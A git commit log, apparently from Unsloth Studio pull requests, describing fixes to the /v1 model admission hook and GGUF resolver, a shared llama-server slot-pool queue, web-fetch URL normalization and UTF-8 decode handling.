Pin the discovered model_type set in those 14 tests, the same way
test_hook_does_not_install_tilelang_for_model_outside_allowlist already pins
it against newly added FLA model_types. Test-only change: the production
gate and the _discover_fla_model_types unit tests are untouched.
* Studio: keep the /v1 admission check off the model-scanning path
The admission check added here runs on every /v1 request, including with
auto-switch off, where the route used to return straight away. It called
resolve_local_gguf, whose index is cached for 5s and otherwise rebuilt by
walking ./models and every HF cache root, under a lock the next caller waits
on. On an install with a large cache that scan measured 6.1s, longer than the
TTL that is meant to amortise it, so steady traffic would keep rebuilding it.
Answer from the last built index instead and never rebuild from the request
path: a stale answer is fine here, since what is on disk barely moves and a
finished download already invalidates the index. The first request, before any
scan has completed, warms the index on a background thread and skips the check
rather than blocking on it. That also makes the lookup a dict read, so it no
longer needs handing to a thread.
Cold resolve on this box goes from 6152495us to 0.4us, and the whole hook now
costs the same for a foreign label as for the resident model.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix the admission hook's cold, stale and contended index paths
Five review items, four of them on the admission hook added here.
Skipping the check until the first scan lands also skipped explicit quant
mismatches, so the first request after startup could ask for :Q8_0 while
Q4_K_M was resident and be answered by it. The early return was redundant as
well: with an empty index resolved is None and here is False, so the gate below
already lets a bare name through and refuses an explicit quant, which is what
the except branch has always concluded. Dropped it and index_is_built with it.
index_is_built took _lock, which _index holds for the whole scan, so once a
warm was running every later request blocked on the event loop for exactly as
long as the scan it was there to avoid. The warm now has its own lock and reads
the timestamp unlocked, which is safe because _scan is only ever rebound.
Warming only when the index had never been built left a model fetched in the
Hub UI, or dropped into a scan folder, invisible for the life of the process,
since only the auto-download watcher calls invalidate_index. Warm on staleness
too, and unconditionally, so it refreshes within a TTL without a scan on the
request path. Rescanning is capped at a tenth of the scan's own duration: a big
install takes longer to scan than the TTL, and warming on the TTL alone would
keep a thread scanning continuously.
An Ollama-style tag names no quant, so the resolver misses it and auto-download
saw a model the resident one already answers to, then 404'd it for having no
such quant. Return early when the loaded model satisfies the reference.
Frontend: a cancelled download said "Model download failed", because the label
collapsed everything non-completed into failure.
The backend tests get an autouse fixture that stops the warm from walking the
developer's real HF caches; that scan starved the loop under the timing
sensitive streaming tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make /v1/models and the admission hook agree on what is local
Three review items, all on the seam between the catalog scan and the resolver
index, which run on separate schedules.
/v1/models can advertise a local GGUF the resolver has not indexed yet. A bare
id carries no quant to refuse on, so a client asking for one it had just been
handed was answered by the resident model instead. The hook now reads the
catalog cache as evidence too, never scanning it. It takes the path rather than
a yes/no because the converse also happens: the catalog can list the resident
weights under an alias the loaded entry does not answer to, and those must stay
served.
That alias was also emitted twice by /v1/models, once as the loaded basename a
manual load records and once as publisher/model marked unloaded, because the
dedup only compared ids. Compare the path as well.
A directly loaded standalone .gguf takes its quant from the filename, but the
resolver stores such files with no quants, so the advertised <stem>:<quant>
stopped resolving as soon as anything else loaded. Advertise a quant only when
that reference resolves, and downgrade only on a definite answer so a cold
index leaves the metadata alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the comments this branch adds
Collapse the multi-line notes in the auto-download path, the /v1 admission
hook and their tests to one line each, keeping the reason and dropping the
restatement. No behaviour change.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: four admission and catalog fixes from review
Lowercasing paths in _resolves_to_resident made /srv/models/Foo and
/srv/models/foo the same weights on any case-sensitive filesystem, so a request
for one could be answered by the other and /v1/models could mark the wrong
entry loaded. That helper now backs residency as well as admission, so use
os.path.normcase, which folds case only where the filesystem does.
Advertising a quant whenever the resolver could not disprove it kept the bug it
was meant to fix: a standalone .gguf loaded before the first scan still got
<stem>:<quant> published, and the usage examples persist that. No proof is not
proof, so omit it and warm the index instead.
A 401 from an expired or invalid X-Unsloth-HF-Token skipped the 403 and 404
branches and surfaced as "could not reach Hugging Face, retry shortly". It now
says to replace the token, kept apart from the gated refusal since a rejected
credential is not an unaccepted licence.
An image request naming an undownloaded text-only GGUF started the whole
download and only then hit the capability guard, which never sees a remote
target, so every retry 400d and the bytes were wasted. Thread require_vision
into admission and check it against the mmproj companions the disk preflight
already asks build_gguf_variant_plans for.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the Hub error fixture carry a status on both hub majors
The 401 test built HfHubHTTPError directly, which works on 0.x and fails on 1.x
where response is required and keyword-only, so all four Python jobs failed
while the same test passed locally.
_hub_error already handled both constructors, but the 0.x branch left the
exception with no response at all, and hf_error_status reads the status off it
for the types that do not encode it in their name. So it could only produce a
usable error on 1.x, which is why the test bypassed it. Attach the status when
the constructed exception lacks it, and use the helper.
Cover the helper itself against stand-ins for both constructor shapes, since
whichever hub is installed only ever exercises one of them.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: invalidate on every download, resolve bare tags, keep polling
Three review items.
Only the API auto-download watcher dropped the resolver cache, so a GGUF
fetched in the Hub UI stayed absent to the cache-only request path and the
request was answered by whatever was resident. finalize_worker_exit is the one
point every download worker exits through, so invalidate there. That closes the
window without leaning on the TTL, which the scan-duration throttle can stretch
past 5s on an install where the scan itself takes longer than that.
A downloaded but unloaded GGUF asked for as org/model:latest missed the
resolver, since the suffix was always treated as an exact quant. With
auto-download on that probed the Hub and returned a 404 for a quant that was
never a quant; with it off it refused without switching. Fall back to the base
entry when the suffix is not quant-shaped, and keep exact matching for real
quants so a swap can never serve the wrong weights under the right name.
The usage examples stopped polling once a model was resident, but idle unload
frees one without touching the store, so nothing re-ran the effect and the
examples kept naming a model that could no longer be reloaded. Slow the poll to
60s instead of stopping it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: hold the download slot while it is in use, and keep quants to llama.cpp
_loaded_satisfies refuses a quant reference against the Transformers backend by
name, but the path match did not carry that rule. A Transformers model active
from a directory that also holds GGUF exports therefore matched a request for
one of those quants and answered it with the safetensors weights. Only
llama.cpp has a quant identity, so admission now passes llama_only whenever the
reference is quant-qualified. A bare name still matches either backend, and
/v1/models residency keeps the default so a loaded Transformers model is still
reported loaded.
The 24 hour watch window was bounding ownership of the single-flight slot when
it should only have been bounding progress reporting, so a legitimately slow
download had its slot handed back while the worker was still writing, admitting
a second multi-gigabyte download beside it. Resolve the row on the clock, but
keep the slot on a slower poll until the job is actually terminal. Past the
deadline an unknown state does release it, since it means the worker cannot be
probed and holding it on that forever would wedge auto-download.
* Studio: keep what the resolver already knew when a download lands
Invalidating cleared the index to empty. The request path reads that cache
without scanning, so from a completed download until the rebuild landed it had
no evidence about any local model, not just the new one, and a bare request for
any of them was answered by whatever was resident. Wiring the hook into the
shared completion path in the last commit widened that from auto-download to
every download.
Mark the scan stale and keep the entries instead. Both _index and
warm_index_soon rebuild on a zero stamp, while the request path still sees
everything it knew a moment ago. Only a completed download invalidates, and
that only ever adds models, so nothing retained goes false.
Warm from the completion hook too, so the rebuild starts when the download
lands rather than when the next request happens to need it.
* Studio: match the quant, not just the directory, and default-select bare tags
Two quants of one repo share a directory, so the path match could not tell them
apart and an explicit :Q8_0 was answered by a resident Q4_K_M that
_loaded_satisfies had already refused by name. The llama_only fix in the last
commit only ruled out the wrong backend, not the wrong quant on the right one.
Both path matches now require the resident hf_variant to equal the requested
quant whenever the reference is quantified; a bare name still matches on the
path alone, since it claims nothing about the weights.
The local resolver already treated a tag that names no quant as meaning the
repo, but remote admission still looked for a quant literally called "latest",
so the same reference resolved locally and 404d remotely. Branch on
looks_like_quant there too. A real quant the repo does not have is still a 404
and never a substitution, which is what separates this from the loader's
low-disk fallback.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: one quant preference, and stop trusting a stale checkpoint
list_local_gguf_variants sorts by descending size, so the head of variants was
the biggest quant, often F16, while remote admission and a plain load both rank
through _pick_best_gguf. A bare id therefore meant a different quant depending
on which side answered it, and the local answer was the one that could evict a
working model and then fail or OOM starting an F16 next to a usable Q4.
/v1/models advertised that same head for pinning. Pull the ranking into one
preferred_quant helper and have both sides use it.
The usage examples returned a stored checkpoint without ever consulting
/v1/models, and the polling added last round was gated on not having one, so
for a stored checkpoint it never ran. An idle unload then left the panel
showing a snippet that could not run. Poll whenever mounted, and prefer the
checkpoint only while the catalog still backs it or switching can reload it. A
catalog that has not answered yet is not evidence against it.
The static contract pinned the old dependency array, so it now asserts the
intent it documents: a finished load re-runs the fetch, and the effect is not
gated on having no checkpoint.
* Studio: fix the Windows path compare, and advertise a label the worker knows
The case fix normalized the separator to "/" and then called os.path.normcase,
which on Windows folds case and rewrites the separator back to a backslash, so
the descendant checks compared against a "/" the path no longer had. A manually
loaded GGUF reached through an alias then read as a different model, giving a
false 404 and an alias marked unloaded. Run normcase first and normalize the
separator after it.
There are two quant-label extractors and they only agree while a recognized
quant token is present. With none, _extract_quant_label takes the last
hyphenated segment, "7b" of llama-7b, while build_gguf_variant_plans and the
worker key the whole stem: the plan lookup missed and the job exited on a
variant it had no shards for. Use the canonical extractor for the unrecognized
case only. Checked across real filenames first, the two match on every
recognized quant and part on bpw-qualified labels, which _extract_quant_label
keeps apart on purpose so byteshape's IQ4_XS at 3.53, 3.97 and 4.19 bpw stay
separate variants.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: a stored checkpoint needs catalog evidence, not just the switch setting
Preferring it whenever switching was on short-circuited the catalog check, so a
checkpoint the store still held after the model was deleted or moved kept being
named even though /v1/models had already proved it absent, and the snippets 404d
instead of falling back to a model that is actually there.
A lookup rather than a disjunction, which settles the whole matrix in one place:
no answer yet keeps the checkpoint, since that is not evidence against it; listed
and resident keeps it; listed but unloaded keeps it only when switching can
reload it; absent falls back whatever the setting says.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: normalize the quote style pre-commit would have rewritten
* Studio: cover the model that just landed, and pin the quant the catalog has
Retaining the index on invalidation protects what was already scanned and by
construction cannot contain the model that just finished downloading, so a bare
request for it in the window before the rebuild was still answered by the
resident model. Record the repo at the completion hook and treat that as
admission evidence alongside the resolver and the catalog; the next completed
scan clears the notes, since the index then covers them. Publishing a rebuilt
index before completion becomes observable would have closed it too, but that
blocks the download worker for the length of the scan.
Catalog membership proves the repo, not the saved quant, and the examples then
pinned the stored one. A quant deleted while another quant of the same repo
remained produced repo:deleted-quant, a missing-quant 404 with a runnable
alternative listed right beside it. Pin what the catalog advertises: for a
resident entry that is the resident quant, for an unloaded one it is a quant
actually on disk. The store is only consulted before /v1/models has answered.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: apply three rules everywhere they belong, not only where reported
The trust probe was the last credential handoff still passing a raw token.
huggingface_hub reads None as "use the cached login", so a caller-named repo
was read with this server's Hugging Face identity whenever the caller sent
none, which is exactly the isolation the metadata probe and the worker already
keep. It takes _hub_token now. Enumerated the rest of that path while there:
auth_check, model_info and spawn_worker were already correct.
finalize_worker_exit is shared with dataset downloads, so the resolver hook
fired for every completed dataset, scanning the model directories for nothing
and recording the dataset id as local-model evidence, which turns a bare /v1
request naming that id into a refusal instead of a foreign-id fallthrough.
Gated on repo_type.
_already_serving decided "bare" on the presence of a colon while
_loaded_satisfies and the resolver decide it on whether the suffix names a
quant, so org/model:latest against a serving Q8_0 read as a mismatch and
swapped in the preferred Q4_K_M for a request either one answers. That rule now
lives in four places, each fixed in its own round, so this time I looked for
the rest and found a fifth: describe_local_miss splits on the bare colon and
its docstring claims it splits like the resolver. It no longer did, and would
report a missing quant named "latest". Fixed here too, unreported.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: probe before refusing busy, and scan once when the index is cold
The busy refusal fired before anything established the requested label was a
model at all, so any namespaced id a drop-in client sends was told to wait out
an unrelated download for as long as it ran. Probe first and refuse only a
label the Hub actually serves as GGUF; anything else falls through to the
resident model as before. A probe failure answers "not downloadable", since
stranding ordinary traffic costs more than missing a busy refusal.
Treating an unbuilt index as "nothing here" let the first request after startup
be answered by the resident model under another model's name. That was a
deliberate trade to keep the scan off the request path, and it was the wrong
one. Cold, the scan now runs once on a thread, bounded so a pathological
install falls through rather than hanging the request. Built, the request path
still never scans, so the latency fix stands.
The watcher freed the slot the moment it saw an error, while Retry-After is
thirty times the poll interval, so the client came back to an empty slot and
restarted the same failing download instead of being told. Hold the failure on
the slot until a retry surfaces it, and let another repo take it after three
retry intervals so a client that never returns cannot keep it.
The watcher also invalidated on completion, which now lands after
finalize_worker_exit's warm and marks that fresh scan stale, pushing a
synchronous rescan onto the retry. Removed.
_loaded_satisfies lowercased paths as well as aliases, so it returned satisfied
before the case-preserving compare below could run. Both now go through one
helper: paths compare with normcase, aliases stay case-insensitive.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: an unfinished scan is not absence, and a decided refusal is not a failure
Bounding the cold scan then reading the bound as "not here" left the same hole
one branch over. A timeout now answers 503 model_indexing with a Retry-After
and leaves the warm running. A foreign label sent inside that window is asked
to retry rather than falling through, which is a real cost, but the window is
one request on an install whose scan exceeds ten seconds and it clears itself,
where answering with the wrong weights does not.
That uncovered a worse one. Every check here runs inside a broad except whose
job is "could not verify, so fall through", so an HTTPException raised in the
block was logged as a verification failure and the request was answered by the
resident model. Any refusal decided in there was being swallowed. Re-raise it
ahead of that handler.
Canonicalizing generic labels made them real variant keys, but the matcher
still decided on shape, so repo:llama-13b fell past an exact match and fetched
llama-7b. Match exactly first, whatever the shape; a quant-shaped suffix that
matches nothing is still a miss and never a swap.
Marking a catalog alias loaded while publishing the preferred on-disk quant
claimed alias:Q4 was loaded while Q8 was serving, and requiring the resident
quant to match then made pinning it a 404. Advertise the resident variant when
the entry resolves to the resident model.
* Studio: keep the asyncio.timeout fallback tests runnable on Python 3.10
Both tests deleted asyncio.timeout to force _wall_clock_timeout down its
pre-3.11 branch, but monkeypatch.delattr raises when the attribute is already
absent. On Python 3.10, the one version the fallback exists for, there is
nothing to delete, so the two tests errored with AttributeError before reaching
the code they cover. Passing raising=False makes the deletion a no-op there and
leaves the assertions running against the same branch on every version.
Every other delattr in the repo already passes raising=False for exactly this
reason. Verified with asyncio.timeout removed from the interpreter: the two
tests fail with the CI AttributeError before this change and pass after, and
the file still runs 89 passed on 3.13 where the deletion is real.
* Studio: decide GGUF residency, servability and variant keys by one rule each
Four admission and catalog fixes, each closing a gap between two places that
were answering the same question differently.
The /v1/models catalog asked _resolves_to_resident without llama_only, so a
Transformers model live from a directory that also holds GGUF exports marked a
GGUF alias loaded and gave it a GGUF quant. The usage examples then pinned
alias:quant that nothing could serve with switching off. Every entry in that
loop is advertised as GGUF, so residency there is llama.cpp residency.
The busy probe accepted any .gguf sibling while admission excludes mmproj, MTP
drafters and big-endian builds. A repo holding only companions is not
downloadable, so it was held at model_download_busy for the length of an
unrelated download instead of falling through to the resident model as it does
when no download is running. It now reuses _gguf_variants, the same filter.
split_model_ref refused any slash-bearing suffix, but an unrecognized GGUF below
a subdirectory keys on its path (build/llama-13b), which is_valid_gguf_variant
allows and the catalog advertises. Pinning such a variant could not parse, so
only the default-ranked one was reachable. A slash-bearing suffix is now a
variant exactly when a real Hub repo precedes it, which still leaves
C:/models/x.gguf a path rather than a quant.
The usage examples treated a downloaded-but-unloaded model as runnable only
under auto-switch, but a standalone UNSLOTH_MODEL_IDLE_TTL reloads exactly what
it freed on the next request. The panel hid runnable examples after an idle
unload. Tracked apart from auto-switch, because the stash restores the stored
checkpoint only and never an arbitrary catalog entry.
Also stub the index walk in the three cold-index tests that missed it: a real
multi-root scan inside the cold-wait budget made them time out into a 503 under
load rather than assert what they are there for. One of them flaked locally.
Verified each fix is load-bearing by reverting it and watching its test fail.
Backend CI command: 10195 passed, 0 failed. tsc -b and the frontend build clean.
* Studio: bound the Hub admission probes and stop guessing at nested model paths
Three review fixes plus a test-isolation one.
_resolves_to_resident matched on a path prefix, so two separately indexed models
that nest (/models/A alongside /models/A/sub/B) both satisfied it: loading B
made a request for A resident and answered it with B's weights, and the catalog
marked A loaded. A prefix match now counts only when no catalog entry sits
deeper, which is the innermost indexed model that actually owns the file. With
nothing indexed there is no nesting to tell apart, so the directory-to-weights
match this exists for is unchanged.
auth_check and hf_hub_download take no timeout of their own, and both ran while
the provisional single-flight slot was held, so an unresponsive Hub stalled the
request far past the metadata budget and reported every other model busy for the
duration. Both are bounded now. Each default errs the safe way: an unchecked
repo is not a cleared one, so the custom-code probe refuses on timeout, while a
slow gated-repo check stays inconclusive because the download's own auth is the
real gate.
The usage examples caught a failed refresh into an empty catalog and a disabled
auto-switch, which made a transient error authoritative and blanked every
example while the model was still servable. The catalog is deliberately
tri-state; a failure now keeps the last answer and retries.
Also start the backend tests from a built, empty model index. Stubbing only the
background warm still left the cold path walking real caches synchronously
inside the admission wait, so on a large install a test asserted against a 503
"still indexing" instead of its subject. _build_index is untouched, so the tests
that call it directly still exercise the real walk.
Verified each fix is load-bearing by reverting it and watching its test fail.
tsc -b clean. Backend CI command green apart from two failures reproduced only
on this box (a real model-dir scan and an orphan-process cleanup), neither
touched by this PR; staging CI is the gate for those.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: admission control on /v1/messages, slot pool that tracks --parallel
/v1/chat/completions was gated by the llama admission queue but /v1/messages
was not, so an Anthropic client could oversubscribe llama-server's slots and
stall the backend. Wire the same queue into all six /v1/messages dispatch
sites, and rework the queue itself into an explicit slot pool.
- Queue keyed by base_url, so both API surfaces share one pool of slots.
- Waiting is unbounded by default instead of timing out; the wait line is
sized at 16 x the serving slots so it follows --parallel.
- Neutral UNSLOTH_LLAMA_ADMISSION_* env names, legacy UNSLOTH_OPENAI_COMPAT_*
spellings still honored.
- Passthrough retries once against a respawned llama-server, which comes back
on a new ephemeral port.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix over-admission on capacity shrink and restore the stream cancel contract
Review of the previous commit turned up two real regressions plus smaller gaps.
- Pool sizing looked only at free slot ids, so when capacity shrank while slots
were held (an unload resets effective_parallel_slots to 1) a freed low id was
handed out even though the holdovers already met the new ceiling. Count every
held slot against capacity instead. A 1-slot backend could run 4 generations.
- The streaming wrapper closed the monitored body with aclose(), delivering
GeneratorExit where _SameTaskStreamingResponse deliberately throws
CancelledError. The monitor entry was never finalized, so it leaked as
"running" for the process lifetime and cancel_event was never set. Close
through the shared helper so cancellation reaches the handler.
- Finalize the monitor when a stream is abandoned before its body starts, and
when a queued non-streaming request is cancelled (which also leaked the
un-awaited generation coroutine).
- Floor the scaled wait line at 64, so a 1-slot backend keeps the depth it had
before scaling existed instead of dropping from 64 to 16.
- Use the canonical Anthropic type map: a full queue is 429 rate_limit_error,
which SDKs back off on; overloaded_error is 529.
- Treat non-positive max_queue/queue_per_slot as unbounded rather than "reject
everything", and reclaim the slot if a waiter's event loop is gone.
Tests: regression tests for both defects, verified to fail without the fix.
Adds env coverage for QUEUE_PER_SLOT and the legacy fallbacks, a structural
check that all six dispatch sites stay admission-wrapped, and clears the new
env var in the isolation fixtures.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Run the response pre-start cleanup when a queued stream is abandoned
From automated review of the earlier commits.
_anthropic_passthrough_stream enters its _TrackedCancel eagerly and relies on
the stream's finally to exit it, but aclose() on an async generator that never
started is a no-op, so that finally never runs. Admission made this reachable:
a client that disconnects while queued leaves the cancel id registered in
_CANCEL_REGISTRY forever.
- Give the passthrough response an unstarted_cleanup hook that exits the
tracker, via a new optional arg on _sse_streaming_response.
- Chain to that hook from the admission wrapper rather than replacing it, and
run it when the wrapper gives up before the body started.
- Defer to an in-progress MTP fallback instead of respawning underneath it;
only the first caller gets True from _maybe_recover_from_mtp_crash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restore Python 3.9 support, and stop the floor overriding an explicit setting
Second review round. The first item is a real break shipped by the earlier
commits, the rest are correctness and contract fixes.
- dataclass(slots = True) and int.bit_count() are both 3.10+, but the package
declares requires-python >=3.9 and CI only runs 3.12, so nothing caught it.
Importing the module raised TypeError on 3.9, taking down the whole backend,
not just admission. Drop the dataclass slots and track the popcount in a
counter. A test now asserts neither API comes back.
- The queue-depth floor applied even when an operator set QUEUE_PER_SLOT
explicitly, so asking for a shallow line silently got 64 and, with no queue
timeout, callers blocked instead of failing fast. The floor now only backs
the default multiplier.
- Never let a failing close strand a slot: closing runs in its own try so the
release always happens. A lost slot shrinks the pool permanently.
- Close the generation coroutine when reserving fails for any reason, not only
on a full queue.
- Exit the passthrough cancel tracker if the client drops while the opening SSE
lines are still being sent; those yields sit outside the teardown try.
- snapshot.free now reports what a caller could actually take, so the admission
log cannot show free slots next to queued requests after a shrink.
- Correct the class docstring: the wait line is bounded by default, not
unlimited. Document that abandoning wait() requires cancel(), and pin the
thread assumption in _deliver_lease.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the leak guards real, and cover the untested admission branches
Third review round, which attacked the previous round's tests by reverting each
fix. Two guards turned out to be hollow.
- The pre-start cleanup chain could be severed with the suite still green: the
existing test drove the generator finally, never the response hook. A real
pre-start disconnect leaked the passthrough cancel tracker permanently.
Replaced with a test that runs the response hook and asserts _CANCEL_REGISTRY
is empty; verified against both ways of reintroducing the leak.
- The structural check only asserted the unstarted_cleanup keyword was present,
so passing a literal None passed it while leaking. It now asserts the hook is
actually built.
- test_shares_queue_with_openai_by_base_url never touched the OpenAI helper; it
was a duplicate under a misleading name. It now reserves through the same
helper /v1/chat/completions uses, so it fails if either surface ever derives a
different key. That is the PR's central shared-queue claim.
- Cover the passthrough dispatch site, 499 on disconnect-while-queued, and the
streaming admission timeout. Four of six sites previously had only an AST
node count behind them.
- Clear admission env in the autouse fixture rather than per test: an ambient
canonical name silently beat the legacy name a test was exercising.
- Loosen the wall-clock assertion, which guarded against serialising on the
uncontended path, not against a slow runner.
- The class docstring claimed a global concurrency cap; Studio's own chat
endpoint does not reserve, so it is not one.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep dataclass slots on 3.10+ via a version gate
Dropping slots = True for 3.9 gave it up everywhere, including the 3.12 CI runs
and every supported interpreter but one. Gate it instead: _SLOTS is
{"slots": True} on 3.10+ and empty below, unpacked into each dataclass.
The AST scan now requires the unpack rather than merely forbidding a literal
slots keyword, so a dataclass added later cannot quietly lose slots. Added a
test that the gate matches the running interpreter, since a gate that never
applies is worse than no gate. Verified the 3.9 branch by forcing _SLOTS empty
and reloading: the full admission suite passes either way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix two slot leaks, and cover the guards that had no test
Third review round, three reviewers working independently on the admission core,
the route wiring, and whether the PR regresses anything it is not about.
Leaks:
- cancel() made the same call_soon_threadsafe as _grant_waiters_locked but
without its RuntimeError guard. Routes cancel from finally blocks, so a closed
loop masked their exception and skipped the release, stranding the slot and
pinning is_idle() false so the queue was never evicted either.
- The pre-start cleanup released the slot after an await that can raise
BaseException, which is swallowed upstream. Nested it in a finally, as the
streaming and OpenAI paths already do.
An unparseable QUEUE_PER_SLOT dropped the 64 floor while falling back to the
default multiplier, quietly giving a 1-slot backend a 16-deep line. Explicit now
means it parsed.
Guards that were correct but had no test. Each was reverted, confirmed the suite
stayed green, then covered and confirmed red:
- the slot released when stream setup raises, which is the reachable one:
count_chat_tokens is a blocking call to llama-server, so a dead backend raises
after the slot is taken and before a body exists to release it
- coro.close() on a cancelled queued request, the api_monitor.fail that
distinguishes an admission timeout from a client hang-up, the MTP fallback
short-circuit, and the BaseException guard around the opening stream lines
- the queue-full test asserted a type string OpenAI's 429 also uses, so it
passed against an OpenAI envelope. It now pins the Anthropic shape.
Anthropic requests were invisible in the admission log while sharing the pool
with chat completions, so the same events are logged there with a mode. Renamed
the helper to match, since it is no longer OpenAI-only.
Corrected two comments that described behaviour the code does not have: the
slot is taken when the streaming response is built, not when the body starts
iterating, and the pool is not a cap on every generation, since /v1/completions,
Studio's chat endpoint and RAG captioning all reach llama-server directly.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover the admission telemetry, and drop a dead helper
Fourth review round. No bugs found in the code this time; the finding was that
most of the previous commit's telemetry had no test. Only queue-full was
asserted, so removing any of the other four log calls left the suite green.
All five are covered now, each verified by removing its call and confirming only
its own test reds. Fixing the first attempt turned up a test bug of my own: the
log line carries a queued=N field, so asserting "queued" in the message matched
every admission log ever emitted. It asserts the event name now.
Also covered two guards that were correct but unguarded: waiters whose futures
die out of band stop counting against the queue depth, and a newcomer cannot
barge past a parked waiter. The second is pinned as behaviour rather than as the
`if not self._waiters` check, because that check cannot actually change the
outcome: _take_slot_locked consults _can_admit_locked anyway, so either alone
refuses the newcomer. The test fails only if both go.
_optional_positive_int_env lost its last caller when the env parsing was
rewritten last round. Removed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fetch bare hostnames as https instead of refusing them
* normalize host:port URLs and route schemeless github repos to the readme API
* only rewrite dotted host:port URLs with in-range ports
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* reject relative paths and oversized ports in url normalization
* Match web-fetch ports as ASCII digits so a unicode digit cannot raise
str.isdigit() is True for digit-class characters int() refuses (superscript
two, circled digit one), so _normalize_url_scheme reached int(port) and raised
ValueError out of _fetch_url_raw, which runs before its try block. A
web_search url of "example.com:<superscript two>" surfaced a generic tool
exception instead of the Blocked: message it returned before this branch.
Match the port against an anchored [0-9]{1,5} instead; the five-digit cap that
kept the range check from converting an unbounded integer is now in the
pattern.
* Apply the invalid-port guard to redirect targets too
_fetch_url_raw wraps the initial parsed.port in try/except ValueError, but the
redirect hop reads rp.port unguarded, so a server answering
Location: https://example.org:99999/next fell through to the broad handler as
"Failed to fetch URL: Port out of range 0-65535" rather than a deliberate
block. No request is dispatched either way; this just makes the two paths
report the same way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the redirect-port test compact
The formatter expands a signature carrying a spaced kwarg default, which put
the stub opener on eleven lines. **kw absorbs the timeout the fetch loop
passes and leaves the whole stub on four.
* Never let a malformed URL escape _fetch_url_raw as an exception
The URL is model-supplied, so every bad form should come back as one of the
documented (error, body, content_type) strings. Three gaps remained:
urlparse itself raises on an unmatched IPv6 bracket and on a netloc that
NFKC-decomposes into a delimiter (//exam(fullwidth-solidus)ple.com), and both
calls sat outside a guard. getaddrinfo raises UnicodeError, which is a
ValueError and not the OSError _validate_and_resolve_host catches, when IDNA
encoding rejects a hostname.
Over a 3158 URL corpus that injects tabs, newlines, C0 controls, delimiters and
NFKC confusables at every position, main raises 42 times and this raises none.
Also strip surrounding whitespace in _normalize_url_scheme. _web_search already
stripped, but normalization moved down to the fetch layer, so a direct
_fetch_page_text caller did not get it.
* Name the host in the status badge and tool card for bare URLs
status_for_tool and the web-search tool card both required an explicit scheme
before reading the hostname, so every URL this branch newly makes fetchable
showed the generic "Reading page..." and "Read page" instead of the host.
Under permission_mode=ask that means the approval card named no destination for
exactly the inputs the branch enables.
The backend reuses _normalize_url_scheme. The frontend cannot, since new URL()
throws on a bare host, so RE_BARE_HOST mirrors the same grammar: only a dotted
host with an optional in-range port gets the https prefix, leaving /login,
javascript: and userinfo forms to render generically as before.
Also mention bare hostnames in the url parameter description, since they are
part of the accepted interface now.
* Do not let a malformed URL in the status badge kill the tool turn
status_for_tool runs inside prepare_call, before the fetch and outside the
handler that wraps tool execution, so a ValueError from urlparse ends the whole
turn instead of letting _fetch_url_raw return its blocked message.
_normalize_url_scheme catches its own parse error and hands back the original
string, so the parse here still has to be guarded.
Reachable with https://[::1 or a host that NFKC-decomposes into a delimiter.
This predates the branch, main raises identically, but the badge is one of the
lines this branch touches and the rest of it already promises no malformed URL
escapes as an exception.
* Tighten the comments added by this branch
* Revert the web_search url description change
The premise of this branch is that models already emit bare hostnames
unprompted, which is why the fetch layer had to stop refusing them. Advertising
the bare form in the tool schema does not enable anything, it just steers models
toward it, and that is the form carrying every edge case: ambiguous with dotted
custom schemes, and unlike an explicit scheme it does not cover IPv6 literals,
IDN or trailing-dot FQDNs.
The fetch layer tolerates bare hosts. The schema should keep recommending a
full URL. This also drops the one change here with no regression test.
* Match the backend port rule in the tool card host
The card's bare-host pattern required at least one digit after the colon, but
the backend fetches an empty port (example.com: and example.com:/path go to the
default HTTPS port), so a successful fetch rendered as "Read page" with no
host.
Allowing an empty port alone would have swung it the other way: example.com:0
is refused by the backend but new URL() accepts it, so the card would have named
a host that is never fetched. That mismatch was there before this change too.
Mirror the backend rule instead, an empty port or one in 1-65535, checked
against every case in the normalizer's own matrix.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Let a decode failure degrade instead of escaping a fail-closed helper
Pinning utf-8 makes a read that used to return mojibake on Windows raise
instead. 33 of those reads sit under a handler catching OSError or
json.JSONDecodeError but not UnicodeDecodeError, which subclasses
ValueError, so a corrupt file would now escape a helper written to return
a default. Adds UnicodeDecodeError to those tuples only.
* Treat an undecodable install lock as stale instead of retrying forever
